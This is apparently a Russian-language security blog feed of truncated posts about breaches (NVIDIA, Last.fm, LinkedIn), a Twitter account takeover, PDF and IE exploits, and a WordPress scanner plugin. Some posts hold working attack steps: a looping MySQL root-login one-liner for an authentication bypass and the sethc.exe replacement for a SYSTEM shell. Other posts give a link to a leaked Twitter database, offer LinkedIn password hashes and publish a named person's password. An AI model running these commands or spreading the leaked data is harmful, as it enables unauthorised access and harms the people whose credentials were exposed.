В эту пятницу были взломаны ресурсы компании NVIDIA (Nvidia Forums, Nvidia Developer Zone, Nvidia Research).
Взломщики из команды Team Apollo, пока никак выкладывали ни методик, ни описания, взлома, но заявили:

We haven’t really discussed Nvidia much before and I dont recall them being a hacking target previously, we’ve only mentioned them in passing ( Read more... )

This plugin searches the files on your website, and the posts and comments tables of your database for anything suspicious. It also examines your list of active plugins for unusual filenames.

http://wordpress.org/extend/plugins/exploit-scanner/

1. Download and unzip the ( Read more... )

А теперь по порядку. Все мы помним, любим, боимся и чтим PDF эксплуатации, когда открывая pdf, оный выполнял произвольный код, запускал .exe файлы, лоаудил либы и далал прочие винтажные вещи. К сожалению, сейчас наплодили аверы кучу проверок, pdf script вообще весь парсится и приходиться искать недокументированные функции и т.п. пляски с бубном. ( Read more... )

Уязвимость позволяет удаленному пользователю с помощью специально сформированной web-страницы, открытой в Internet Explorer, а также файлов Office 2003 и 2007, выполнить произвольный код на целевой системе ( Read more... )

( Read more... )

Вчерась поломали twitter аккаунт Павла Дурова, кто не в теме, это аля владелец и создатель ресурса Vkontakte.ru, vk.com и т.п.
Пароль был "7777777
7777777
Подробнее: http://www.securitylab.ru/news/425917.php
", с чем его и поздравляем:))

Вот тут есть кусок актуальной базы: http://eas7.ru/tmp/twitter/twitter.sqlRead more... )

Вот тут мимо пробежала новость, о том, что в MySQL есть адовая бага, суть баги в том, что дает рутовые права к базам MySQL при условии доступа к это самой базе, добиш достаточно коннекта из локального шела, эксплутация такая:
while [ 1 ];do mysql -u root --password=123; done

Affected versions, listed below, require for memcmp() to return an arbitrary ( Read more... )

This has been documented all over, but i like things to be on the blog so i can find them...

You can gain a SYSTEM shell on an application you have administrative access on  or if you have physical access to the box and can boot to repair disk or linux distro and can change files.

copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
( Read more... )

Неделю назад утекла база пользователей с паролями от Last.fm, которые хранились в md5 без соли,

Если кто пользуется этим сервисом или скромблером от него то лучше сменить пас (http://www.lastfm.ru/passwordsecurity ),

Кроме того напоминаю, что в LinkedIn та же история, если кому интересно, то есть база хешей sha1 от линкеда,

Ну и в догонку хочу сказать ( Read more... )